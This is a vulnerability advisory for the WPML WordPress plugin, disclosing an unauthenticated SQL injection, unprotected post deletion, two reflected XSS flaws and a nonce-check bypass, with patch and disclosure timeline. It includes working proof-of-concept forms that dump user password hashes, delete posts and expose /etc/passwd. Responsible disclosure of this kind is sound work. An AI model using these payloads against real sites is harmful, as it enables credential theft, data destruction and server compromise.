WPML vulnerabilities

Update March 13: Added vulnerability #4, unauthenticated administrative functions.

Update April 12: Added vulnerability #5, reflected XSS via HTTP referer.

March 19: See also Google Analytics by Yoast unauthenticated stored XSS (includes a YouTube demo).


WPML is the industry standard for creating multi-lingual WordPress sites. Several vulnerabilities were found in the plug-in. The most serious of them, an SQL injection problem, allows anyone to read the contents of the WordPress database, including user details and password hashes, without authentication.

System administrators should update to version 3.1.9 released earlier this week to resolve the issues.


1. SQL injection

When WPML processed a HTTP POST request containing the parameter ”action=wp-link-ajax”, the current language is determined by parsing the HTTP referer. The parsed language code is not checked for validity, nor SQL-escaped. The user doesn’t need to be logged in.

By sending a carefully crafted referer value with the mentioned POST request parameter, an attacker can perform SQL queries on arbitrary tables and retrieve their results. In addition to the standard WordPress database and tables, the attacker may query all other databases and tables accessible to the web backend.

The following HTML snippet demonstrates the vulnerability:

var union="select user_login,1,user_email,2,3,4,5,6,user_pass,7,8,9,10,11,12 from wp_users";
if (document.location.search.length < 2)
        document.location.search="lang=xx' UNION "+union+" -- -- ";
<form method=POST action="https://YOUR.WORDPRESS.BLOG/comments/feed">
<input type=hidden name=action value="wp-link-ajax">
<input type=submit>

The results of the SQL query will be shown in the comments feed XML-formatted.

2. Page/post/menu deletion

WPML contains a ”menu sync” function which helps site administrators to keep WordPress menus consistent across different languages. This functionality lacked any access control, allowing anyone to delete practically all content of the website – posts, pages, and menus.


<form method=POST action="https://YOUR.WORDPRESS.BLOG/?page=sitepress-multilingual-cms/menu/menus-sync.php">
<input type=hidden name="action" value="icl_msync_confirm">
<input type=text name="sync" size=50 value="del[x][y][12345]=z">
<input type=submit>

Submitting the above form would delete the row with the ID 12345 in the wp_posts database. Several items can be deleted with the same request.

3. Reflected XSS

The ”reminder popup” code intended for administrators in WPML didn’t check for login status or nonce. An attacker can direct target users to an URL like:


to execute JavaScript in their browser. This example bypasses the Chrome XSS Auditor.

In the case of WordPress, XSS triggered by an administrator can lead to server-side compromise via the plugin and theme editors.

4. Unauthenticated administrative functions

An unauthenticated attacker may bypass WPML’s nonce check and perform administrative functions.

The administrative ajax functions are protected with nonces to prevent unauthorized use. If the nonce check failed with $_REQUEST values, there was a secondary check that also had to fail before the request was denied:

if (!( isset( $_GET[ 'icl_ajx_action' ] ) && $_GET[ 'nonce' ] == wp_create_nonce( $_GET[ 'icl_ajx_action' ] ) )) {
        die('Invalid nonce');

The problem is the mixed use of $_REQUEST and $_GET. If the above check succeeds, subsequent code again uses $_REQUEST instead of $_GET to determine the ajax action to perform.

If the attacker has a valid nonce generated by the target WordPress site – any plug-in or the core system – then they can pass the above check. They can then define a different ajax action in POST parameters to perform administrative functions without authentication.

An unauthenticated attacker could then execute any of the about 50 WPML ajax actions intended for administrators only. There is a lot of choice for manipulating or destroying data. For instance, it’s possible to define a root html file which is evaluated as

include $html_file;

This would allow reading server-side files or evaluating PHP code hosted on remote sites (if allowed by PHP settings).

A default WordPress installation with only WPML installed apparently doesn’t generate nonces for unauthenticated users, so this is probably not exploitable unless there are other plug-ins installed or the user can login. For example bbpress generates nonces for unauthenticated users.

Proof of concept:

<form method=POST action="https://YOUR.WORDPRESS.BLOG/?icl_ajx_action=toggle-subscription_10&nonce=1234567890">
<input type=hidden name="icl_ajx_action" value="icl_save_language_negotiation_type">
<input type=hidden name="_icl_nonce" value="(ignored)">
<input type=hidden name="icl_language_negotiation_type" value="1">
<input type=hidden name="use_directory" value="1">
<input type=hidden name="show_on_root" value="html_file">
<input type=hidden name="root_html_file_path" value="/etc/passwd">
<input type=submit>

In the above example, a toggle-subscription nonce generated by bbpress is used. It can be retrieved by unauthenticated users (go to a forum page, view source). On submitting the form, WPML will pass the ajax action because the bbpress nonce is valid.

The ajax action is determined from the POST parameters. In this example, the settings would be changed so that contents of /etc/passwd would be shown as the default page on the website.

This PoC was successfully tested with WPML

5. Reflected XSS via HTTP referer

A POST request with the parameter “action=sample-permalink” produces HTML generated from the HTTP referer header. Posting the form from a carefully formatted referer URL produces a reflected XSS. This attack bypasses the XSS Auditor.

var inject='<script>alert("hello");</'+'script>';
var query='?lang=en">'+inject;
if (document.location.search.length<2)
<form method=POST action="https://YOUR.BLOG/">
<input type=hidden name="action" value="sample-permalink">
<input type=submit>


The vulnerabilities were found by Jouko Pynnonen of Klikki Oy while researching WordPress plugins falling in the scope of the Facebook bug bounty program.

The vendor was notified on March 2, 2015 and the patch was released on March 10.